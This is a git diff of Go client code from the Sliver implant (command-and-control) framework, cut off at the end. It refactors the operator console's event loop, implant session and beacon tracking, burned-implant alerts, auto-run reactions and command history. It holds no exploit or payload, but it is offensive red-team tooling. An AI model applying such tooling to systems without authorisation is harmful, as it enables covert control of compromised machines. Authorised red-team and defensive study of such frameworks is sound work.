core.Reactions.On(event.EventType) - if len(reactions) == 0 { - return - } - - // We need some special handling for SessionOpenedEvent to - // set the new session as the active session - currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get() - defer func() { - con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon) - }() - - if event.EventType == consts.SessionOpenedEvent { - con.ActiveTarget.Set(nil, nil) - - con.ActiveTarget.Set(event.Session, nil) - } else if event.EventType == consts.BeaconRegisteredEvent { - con.ActiveTarget.Set(nil, nil) - - beacon := &clientpb.Beacon{} - proto.Unmarshal(event.Data, beacon) - con.ActiveTarget.Set(nil, beacon) - } - - for _, reaction := range reactions { - for _, line := range reaction.Commands { - con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line) - err := con.App.ActiveMenu().RunCommand(line) - if err != nil { - con.PrintErrorf("Reaction command error: %s\n", err) - } - } - } -} - -// triggerBeaconTaskCallback - Triggers the callback for a beacon task -func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) { - task := &clientpb.BeaconTask{} - err := proto.Unmarshal(data, task) - if err != nil { - con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) - return - } - ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) - defer cancel() - beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) - - // If the callback is not in our map then we don't do anything, the beacon task - // was either issued by another operator in multiplayer mode or the client process - // was restarted between the time the task was created and when the server got the result - con.BeaconTaskCallbacksMutex.Lock() - defer con.BeaconTaskCallbacksMutex.Unlock() - if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { - if con.Settings.BeaconAutoResults { - if beacon != nil { - con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0]) - } - task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ - ID: task.ID, - }) - con.Printf(Clearln + "\r") - if err == nil { - callback(task_content) - } else { - con.PrintErrorf("Could not get beacon task content: %s", err) - } - con.Println() - } - delete(con.BeaconTaskCallbacks, task.ID) - } -} - -func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { - con.BeaconTaskCallbacksMutex.Lock() - defer con.BeaconTaskCallbacksMutex.Unlock() - con.BeaconTaskCallbacks[taskID] = callback -} - -func (con *SliverConsoleClient) GetPrompt() string { - prompt := Underline + "sliver" + Normal - if con.IsServer { - prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal - } - if con.ActiveTarget.GetSession() != nil { - prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal) - } else if con.ActiveTarget.GetBeacon() != nil { - prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal) - } - prompt += " > " - return Clearln + prompt -} - -func (con *SliverConsoleClient) PrintLogo() { - serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) - if err != nil { - panic(err.Error()) - } - dirty := "" - if serverVer.Dirty { - dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) - } - serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) - - logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] - fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) - fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") - fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) - if version.GitCommit != serverVer.Commit { - fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) - } - fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") - if serverVer.Major != int32(version.SemanticVersion()[0]) { - fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") - } - con.CheckLastUpdate() -} - -func (con *SliverConsoleClient) CheckLastUpdate() { - now := time.Now() - lastUpdate := getLastUpdateCheck() - compiledAt, err := version.Compiled() - if err != nil { - log.Printf("Failed to parse compiled at timestamp %s", err) - return - } - - day := 24 * time.Hour - if compiledAt.Add(30 * day).Before(now) { - if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { - con.Printf(Info + "Check for updates with the 'update' command\n\n") - } - } -} - -func getLastUpdateCheck() *time.Time { - appDir := assets.GetRootAppDir() - lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName) - data, err := os.ReadFile(lastUpdateCheckPath) - if err != nil { - log.Printf("Failed to read last update check %s", err) - return nil - } - unixTime, err := strconv.Atoi(string(data)) - if err != nil { - log.Printf("Failed to parse last update check %s", err) - return nil - } - lastUpdate := time.Unix(int64(unixTime), 0) - return &lastUpdate -} - -func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintWarnf("%s", err) - return nil - } - for _, session := range sessions.GetSessions() { - if session.Name == arg || strings.HasPrefix(session.ID, arg) { - return session - } - } - return nil -} - -// GetSessionsByName - Return all sessions for an Implant by name -func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Session { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return nil - } - matched := []*clientpb.Session{} - for _, session := range sessions.GetSessions() { - if session.Name == name { - matched = append(matched, session) - } - } - return matched -} - -// GetActiveSessionConfig - Get the active sessions's config -// TODO: Switch to query config based on ConfigID -func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig { - session := con.ActiveTarget.GetSession() - if session == nil { - return nil - } - c2s := []*clientpb.ImplantC2{} - c2s = append(c2s, &clientpb.ImplantC2{ - URL: session.GetActiveC2(), - Priority: uint32(0), - }) - config := &clientpb.ImplantConfig{ - ID: session.ID, - GOOS: session.GetOS(), - GOARCH: session.GetArch(), - Debug: true, - Evasion: session.GetEvasion(), - - MaxConnectionErrors: uint32(1000), - ReconnectInterval: int64(60), - Format: clientpb.OutputFormat_SHELLCODE, - IsSharedLib: true, - C2: c2s, - } - return config -} - -// exitConsole prompts the user for confirmation to exit the console. -func (c *SliverConsoleClient) exitConsole(_ *console.Console) { - reader := bufio.NewReader(os.Stdin) - fmt.Print("Confirm exit (Y/y, Ctrl-C): ") - text, _ := reader.ReadString('\n') - answer := strings.TrimSpace(text) - - if (answer == "Y") || (answer == "y") { - os.Exit(0) - } -} - -// exitImplantMenu uses the background command to detach from the implant menu. -func (c *SliverConsoleClient) exitImplantMenu(_ *console.Console) { - root := c.App.Menu(consts.ImplantMenu).Command - root.SetArgs([]string{"background"}) - root.Execute() -} - -func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) { - go spin.Until(os.Stdout, message, ctrl) -} - -// FormatDateDelta - Generate formatted date string of the time delta between then and now -func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { +// FormatDateDelta - Generate formatted date string of the time delta between then and now. +func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { nextTime := t.Format(time.UnixDate) var interval string @@ -616,8 +275,8 @@ func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, c return interval } -// GrpcContext - Generate a context for a GRPC request, if no grumble context or an invalid flag is provided 60 seconds is used instead -func (con *SliverConsoleClient) GrpcContext(cmd *cobra.Command) (context.Context, context.CancelFunc) { +// GrpcContext - Generate a context for a GRPC request, if no cobra context or an invalid flag is provided 60 seconds is used instead. +func (con *SliverClient) GrpcContext(cmd *cobra.Command) (context.Context, context.CancelFunc) { if cmd == nil { return context.WithTimeout(context.Background(), 60*time.Second) } @@ -630,297 +289,58 @@ func (con *SliverConsoleClient) GrpcContext(cmd *cobra.Command) (context.Context return context.WithTimeout(context.Background(), timeout) } -// -// -------------------------- [ Active Target ] -------------------------- -// - -type ActiveTarget struct { - session *clientpb.Session - beacon *clientpb.Beacon - observers map[int]Observer - observerID int - con *SliverConsoleClient -} - -// GetSessionInteractive - Get the active target(s) -func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { - if s.session == nil && s.beacon == nil { - fmt.Printf(Warn + "Please select a session or beacon via `use`\n") - return nil, nil - } - return s.session, s.beacon -} - -// GetSessionInteractive - Get the active target(s) -func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) { - return s.session, s.beacon -} - -// GetSessionInteractive - GetSessionInteractive the active session -func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { - if s.session == nil { - fmt.Printf(Warn + "Please select a session via `use`\n") +// UnwrapServerErr unwraps errors returned by gRPC method calls. +// Should be used to return every non-nil resp, err := con.Rpc.Function(). +func (con *SliverClient) UnwrapServerErr(err error) error { + if err == nil { return nil } - return s.session -} - -// GetSession - Same as GetSession() but doesn't print a warning -func (s *ActiveTarget) GetSession() *clientpb.Session { - return s.session -} - -// GetBeaconInteractive - Get beacon interactive the active session -func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { - if s.beacon == nil { - fmt.Printf(Warn + "Please select a beacon via `use`\n") - return nil - } - return s.beacon -} - -// GetBeacon - Same as GetBeacon() but doesn't print a warning -func (s *ActiveTarget) GetBeacon() *clientpb.Beacon { - return s.beacon -} - -// IsSession - Is the current target a session? -func (s *ActiveTarget) IsSession() bool { - return s.session != nil -} - -// IsBeacon - Is the current target a beacon? -func (s *ActiveTarget) IsBeacon() bool { - return s.beacon != nil -} - -// AddObserver - Observers to notify when the active session changes -func (s *ActiveTarget) AddObserver(observer Observer) int { - s.observerID++ - s.observers[s.observerID] = observer - return s.observerID -} - -func (s *ActiveTarget) RemoveObserver(observerID int) { - delete(s.observers, observerID) -} - -func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { - if s.session == nil && s.beacon == nil { - return nil - } - - // One less than the gRPC timeout so that the server should timeout first - timeOutF := int64(defaultTimeout) - 1 - if cmd != nil { - timeOutF, _ = cmd.Flags().GetInt64("timeout") - } - timeout := (int64(time.Second) * timeOutF) - 1 - - req := &commonpb.Request{} - req.Timeout = timeout - if s.session != nil { - req.Async = false - req.SessionID = s.session.ID - } - if s.beacon != nil { - req.Async = true - req.BeaconID = s.beacon.ID - } - return req + return errors.New(status.Convert(err).Message()) } -// Set - Change the active session -func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { - if session != nil && beacon != nil { - s.con.PrintErrorf("cannot set both an active beacon and an active session") - return - } - - defer s.con.ExposeCommands() - - // Backgrounding - if session == nil && beacon == nil { - s.session = nil - s.beacon = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) - } - - if s.con.IsCLI { - return - } - - // Switch back to server menu. - if s.con.App.ActiveMenu().Name() == consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ServerMenu) - } - +// CheckLastUpdate prints a message to the CLI if updates are available. +func (con *SliverClient) CheckLastUpdate() { + now := time.Now() + lastUpdate := getLastUpdateCheck() + compiledAt, err := version.Compiled() + if err != nil { + log.Printf("Failed to parse compiled at timestamp %s", err) return } - // Foreground - if session != nil { - s.session = session - s.beacon = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) - } - } else if beacon != nil { - s.beacon = beacon - s.session = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) + day := 24 * time.Hour + if compiledAt.Add(30 * day).Before(now) { + if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { + con.Printf(Info + "Check for updates with the 'update' command\n\n") } } - - if s.con.IsCLI { - return - } - - // Update menus, prompts and commands - if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ImplantMenu) - } } -// Background - Background the active session -func (s *ActiveTarget) Background() { - defer s.con.App.ShowCommands() - - s.session = nil - s.beacon = nil - for _, observer := range s.observers { - observer(nil, nil) - } - - // Switch back to server menu. - if !s.con.IsCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ServerMenu) +func getLastUpdateCheck() *time.Time { + appDir := assets.GetRootAppDir() + lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName) + data, err := os.ReadFile(lastUpdateCheckPath) + if err != nil { + log.Printf("Failed to read last update check %s", err) + return nil } -} - -// GetHostUUID - Get the Host's UUID (ID in the database) -func (s *ActiveTarget) GetHostUUID() string { - if s.IsSession() { - return s.session.UUID - } else if s.IsBeacon() { - return s.beacon.UUID + unixTime, err := strconv.Atoi(string(data)) + if err != nil { + log.Printf("Failed to parse last update check %s", err) + return nil } - - return "" + lastUpdate := time.Unix(int64(unixTime), 0) + return &lastUpdate } -// Expose or hide commands if the active target does support them (or not). -// Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. -func (con *SliverConsoleClient) ExposeCommands() { - con.App.ShowCommands() - - if con.ActiveTarget.session == nil && con.ActiveTarget.beacon == nil { - return - } - - filters := make([]string, 0) - - // Target type. - switch { - case con.ActiveTarget.session != nil: - session := con.ActiveTarget.session - filters = append(filters, consts.BeaconCmdsFilter) - - // Operating system - if session.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if session.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - - case con.ActiveTarget.beacon != nil: - beacon := con.ActiveTarget.beacon - filters = append(filters, consts.SessionCmdsFilter) - - // Operating system - if beacon.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if beacon.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) +func compCommandCalled(cmd *cobra.Command) bool { + for _, compCmd := range cmd.Root().Commands() { + if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { + return true } } - // Use all defined filters. - con.App.HideCommands(filters...) + return false } -var abilities = []string{ - "first strike", - "vigilance", - "haste", - "indestructible", - "hexproof", - "deathtouch", - "fear", - "epic", - "ninjitsu", - "recover", - "persist", - "conspire", - "reinforce", - "exalted", - "annihilator", - "infect", - "undying", - "living weapon", - "miracle", - "scavenge", - "cipher", - "evolve", - "dethrone", - "hidden agenda", - "prowess", - "dash", - "exploit", - "renown", - "skulk", - "improvise", - "assist", - "jump-start", -} - -var asciiLogos = []string{ - Red + ` - ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███ - ▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒ - ░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒ - ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ - ▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒ - ▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░ - ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░ - ░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░ - ░ ░ ░ ░ ░ ░ ░ ░ -` + Normal, - - Green + ` - ███████╗██╗ ██╗██╗ ██╗███████╗██████╗ - ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ - ███████╗██║ ██║██║ ██║█████╗ ██████╔╝ - ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ - ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ - ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ -` + Normal, - - Bold + Gray + ` -.------..------..------..------..------..------. -|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | -| :/\: || :/\: || (\/) || :(): || (\/) || :(): | -| :\/: || (__) || :\/: || ()() || :\/: || ()() | -| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| -` + "`------'`------'`------'`------'`------'`------'" + ` -` + Normal, -} diff --git a/client/console/events.go b/client/console/events.go new file mode 100644 index 0000000000..0766e02947 --- /dev/null +++ b/client/console/events.go @@ -0,0 +1,358 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "io" + "strings" + "sync" + "time" + + "github.com/gofrs/uuid" + "google.golang.org/protobuf/proto" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/prelude" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +func (con *SliverClient) startEventLoop() { + eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) + if err != nil { + fmt.Printf(Warn+"%s\n", err) + return + } + for { + event, err := eventStream.Recv() + if err == io.EOF || event == nil { + return + } + + go con.triggerEventListeners(event) + + // Trigger event based on type + switch event.EventType { + + case consts.CanaryEvent: + con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name) + sessions := con.GetSessionsByName(event.Session.Name) + for _, session := range sessions { + shortID := strings.Split(session.ID, "-")[0] + con.PrintErrorf("\t🔥 Session %s is affected", shortID) + } + + case consts.WatchtowerEvent: + msg := string(event.Data) + con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg) + sessions := con.GetSessionsByName(event.Session.Name) + for _, session := range sessions { + shortID := strings.Split(session.ID, "-")[0] + con.PrintErrorf("\t🔥 Session %s is affected", shortID) + } + + case consts.JoinedEvent: + if con.Settings.UserConnect { + con.PrintInfof("%s has joined the game", event.Client.Operator.Name) + } + case consts.LeftEvent: + if con.Settings.UserConnect { + con.PrintInfof("%s left the game", event.Client.Operator.Name) + } + + case consts.JobStoppedEvent: + job := event.Job + con.PrintErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name) + + case consts.SessionOpenedEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v", + shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) + + // Prelude Operator + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.AddImplant(session, nil) + if err != nil { + con.PrintErrorf("Could not add session to Operator: %s", err) + } + } + + case consts.SessionUpdateEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintInfof("Session %s has been updated - %v", shortID, currentTime) + + case consts.SessionClosedEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v", + shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) + activeSession := con.ActiveTarget.GetSession() + core.GetTunnels().CloseForSession(session.ID) + core.CloseCursedProcesses(session.ID) + if activeSession != nil && activeSession.ID == session.ID { + con.ActiveTarget.Set(nil, nil) + con.PrintErrorf("Active session disconnected") + } + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.RemoveImplant(session) + if err != nil { + con.PrintErrorf("Could not remove session from Operator: %s", err) + } + con.PrintInfof("Removed session %s from Operator", session.Name) + } + + case consts.BeaconRegisteredEvent: + beacon := &clientpb.Beacon{} + proto.Unmarshal(event.Data, beacon) + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(beacon.ID, "-")[0] + con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v", + shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime) + + // Prelude Operator + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) { + con.AddBeaconCallback(&commonpb.Response{TaskID: taskID}, cb) + }) + if err != nil { + con.PrintErrorf("Could not add beacon to Operator: %s", err) + } + } + + case consts.BeaconTaskResultEvent: + con.triggerBeaconTaskCallback(event.Data) + + case consts.BeaconTaskCanceledEvent: + con.triggerTaskCancel(event.Data) + } + + con.triggerReactions(event) + } +} + +// CreateEventListener - creates a new event listener and returns its ID. +func (con *SliverClient) CreateEventListener() (string, <-chan *clientpb.Event) { + listener := make(chan *clientpb.Event, 100) + listenerID, _ := uuid.NewV4() + con.EventListeners.Store(listenerID.String(), listener) + return listenerID.String(), listener +} + +// RemoveEventListener - removes an event listener given its id. +func (con *SliverClient) RemoveEventListener(listenerID string) { + value, ok := con.EventListeners.LoadAndDelete(listenerID) + if ok { + close(value.(chan *clientpb.Event)) + } +} + +func (con *SliverClient) triggerEventListeners(event *clientpb.Event) { + con.EventListeners.Range(func(key, value interface{}) bool { + listener := value.(chan *clientpb.Event) + listener <- event // Do not block while sending the event to the listener + return true + }) +} + +func (con *SliverClient) triggerReactions(event *clientpb.Event) { + reactions := core.Reactions.On(event.EventType) + if len(reactions) == 0 { + return + } + + // We need some special handling for SessionOpenedEvent to + // set the new session as the active session + currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get() + defer func() { + con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon) + }() + + if event.EventType == consts.SessionOpenedEvent { + con.ActiveTarget.Set(nil, nil) + + con.ActiveTarget.Set(event.Session, nil) + } else if event.EventType == consts.BeaconRegisteredEvent { + con.ActiveTarget.Set(nil, nil) + + beacon := &clientpb.Beacon{} + proto.Unmarshal(event.Data, beacon) + con.ActiveTarget.Set(nil, beacon) + } + + for _, reaction := range reactions { + for _, line := range reaction.Commands { + con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line) + err := con.App.ActiveMenu().RunCommandLine(line) + if err != nil { + con.PrintErrorf("Reaction command error: %s\n", err) + } + } + } +} + +// triggerBeaconTaskCallback - Triggers the callback for a beacon task. +func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { + task := &clientpb.BeaconTask{} + err := proto.Unmarshal(data, task) + if err != nil { + con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) + return + } + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) + + // If the callback is not in our map then we don't do anything, the beacon task + // was either issued by another operator in multiplayer mode or the client process + // was restarted between the time the task was created and when the server got the result + con.BeaconTaskCallbacksMutex.Lock() + defer con.BeaconTaskCallbacksMutex.Unlock() + if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { + + // If needed, wait for the "request sent" status to be printed first. + con.beaconTaskSentMutex.Lock() + if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { + waitStatus.Wait() + delete(con.beaconSentStatus, task.ID) + } + con.beaconTaskSentMutex.Unlock() + + if con.Settings.BeaconAutoResults { + if beacon != nil { + con.PrintSuccessf("%s completed task %s\n", beacon.Name, strings.Split(task.ID, "-")[0]) + } + task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ + ID: task.ID, + }) + con.Printf(Clearln + "\r\n") + if err == nil { + callback(task_content) + } else { + con.PrintErrorf("Could not get beacon task content: %s\n", err) + } + } + delete(con.BeaconTaskCallbacks, task.ID) + con.waitingResult <- true + } +} + +// triggerTaskCancel cancels any command thread that is waiting for a task that has just been canceled. +func (con *SliverClient) triggerTaskCancel(data []byte) { + task := &clientpb.BeaconTask{} + err := proto.Unmarshal(data, task) + if err != nil { + con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) + return + } + + // If the callback is not in our map then we don't do anything: we are not the origin + // of the task and we are therefore not blocking somewhere waiting for its results. + con.BeaconTaskCallbacksMutex.Lock() + defer con.BeaconTaskCallbacksMutex.Unlock() + if _, ok := con.BeaconTaskCallbacks[task.ID]; ok { + + // If needed, wait for the "request sent" status to be printed first. + con.beaconTaskSentMutex.Lock() + if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { + waitStatus.Wait() + delete(con.beaconSentStatus, task.ID) + } + con.beaconTaskSentMutex.Unlock() + + // Display a message indicating that the task was canceled. + con.PrintWarnf("Task %s was cancelled by another client\n", strings.Split(task.ID, "-")[0]) + delete(con.BeaconTaskCallbacks, task.ID) + con.waitingResult <- true + } +} + +// AddBeaconCallback registers a new function to call once a beacon task is completed and received. +func (con *SliverClient) AddBeaconCallback(resp *commonpb.Response, callback BeaconTaskCallback) { + if resp == nil || resp.TaskID == "" { + return + } + + // Store the task ID. + con.BeaconTaskCallbacksMutex.Lock() + con.BeaconTaskCallbacks[resp.TaskID] = callback + con.BeaconTaskCallbacksMutex.Unlock() + + // Wait for the "request sent" status to be printed before results. + con.beaconTaskSentMutex.Lock() + wait := &sync.WaitGroup{} + wait.Add(1) + con.beaconSentStatus[resp.TaskID] = wait + con.beaconTaskSentMutex.Unlock() + + con.PrintAsyncResponse(resp) + con.waitSignalOrClose() +} + +// NewTask is a function resting on the idea that a task can be handled identically regardless +// of if it's a beacon or a session one. This function tries to solve several problems at once: +// +// - Enable commands to declare only a single "execution workflow" for all implant types. +// - Allow us to hook onto the process for various things. Example: we want to save each +// beacon task with its corresponding command-line (for accessibility/display purposes), +// and we would prefer doing it without having to call History RPC stuff in another place. +// - Eventually or potentially, also treat all session requests as tasks, with 0 delay. +// You then have a single, more unified way of treating all implant interactions. +// No need to store implant history in JSON/text files, just use the database for it. +// +// This function DOES NOT register a beacon callback (eg. treats the task as synchronous), when: +// - the provided (task) Response is nil, +// - if the task is not marked Async, +// - or if it's ID is nil, +// +// In which case, the handle function is directly called and executed with the result. +// This function is not used, but is fully compatible with all of your code (I checked). +// +// Usage: +// con.NewTask(download.Response, download, func() { PrintCat(download, cmd, con) }) +func (con *SliverClient) NewTask(resp *commonpb.Response, message proto.Message, handle func()) { + // We're no beacon here, just run the response handler. + if resp == nil || !resp.Async || resp.TaskID == "" { + if handle != nil { + handle() + } + return + } + + // Else, we are a beacon. + con.AddBeaconCallback(resp, func(task *clientpb.BeaconTask) { + err := proto.Unmarshal(task.Response, message) + if err != nil { + con.PrintErrorf("Failed to decode response %s\n", err) + return + } + + if handle != nil { + handle() + } + }) +} diff --git a/client/console/history.go b/client/console/history.go new file mode 100644 index 0000000000..599397a3d1 --- /dev/null +++ b/client/console/history.go @@ -0,0 +1,203 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "strings" + "time" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" +) + +type implantHistory struct { + con *SliverClient + items []*clientpb.ImplantCommand + Stream rpcpb.SliverRPC_ImplantHistoryClient + pos int + user bool +} + +// SaveCommandLine sends a command-line to the server for saving, +// with information about the currrent active target and user. +// Called in the implant-command tree root persistent post-runner. +func (s *ActiveTarget) SaveCommandLine(args []string) { + if s.hist == nil { + return + } + + cmdline := strings.Join(args, " ") + + s.hist.Write(cmdline) +} + +func (con *SliverClient) newImplantHistory(user bool) (*implantHistory, error) { + hist := &implantHistory{ + con: con, + user: user, + } + + // Always refresh our cache when connecting. + defer hist.Dump() + + // Important; in Write(), user should not use this tream. + if hist.user { + return hist, nil + } + + stream, err := con.Rpc.ImplantHistory(context.Background()) + if err != nil { + return nil, err + } + + // Refresh the list. + hist.Stream = stream + + return hist, nil +} + +// Write - Sends the last command to the server for saving. +// Some commands are not saved (background, exit, etc) +func (h *implantHistory) Write(cmdline string) (int, error) { + sess, beac := h.con.ActiveTarget.Get() + if sess == nil && beac == nil { + return len(h.items), nil + } + + cmdline = strings.TrimSpace(cmdline) + + // Don't save queries for the list of commands. + if isTrivialCommand(cmdline) { + return len(h.items), nil + } + + // Populate a command line with its context. + cmd := &clientpb.ImplantCommand{} + + cmd.Block = cmdline + cmd.ExecutedAt = time.Now().Unix() + + if sess != nil { + cmd.ImplantID = sess.ID + cmd.ImplantName = sess.Name + } else if beac != nil { + cmd.ImplantID = beac.ID + cmd.ImplantName = beac.Name + } + + // Save it in memory + h.items = append(h.items, cmd) + + if h.user { + return len(h.items), nil + } + + err := h.Stream.Send(cmd) + + return len(h.items), err +} + +// GetLine returns a line from history. +func (h *implantHistory) GetLine(pos int) (string, error) { + if pos < 0 { + return "", nil + } + + // Refresh the command history. + if len(h.items) == 0 { + h.Dump() + } + + if pos >= len(h.items) { + return "", errors.New("Invalid history index") + } + + return h.items[pos].Block, nil +} + +// Len returns the number of lines in history. +func (h *implantHistory) Len() int { + h.Dump() + return len(h.items) +} + +// Dump returns the entire history, and caches it +// internally to avoid queries when possible. +func (h *implantHistory) Dump() interface{} { + sess, beac := h.con.ActiveTarget.Get() + if sess == nil && beac == nil { + return h.items + } + + req := &clientpb.HistoryRequest{ + UserOnly: h.user, + } + + if sess != nil { + req.ImplantID = sess.ID + req.ImplantName = sess.Name + } else if beac != nil { + req.ImplantID = beac.ID + req.ImplantName = beac.Name + } + + history, err := h.con.Rpc.GetImplantHistory(context.Background(), req) + if err != 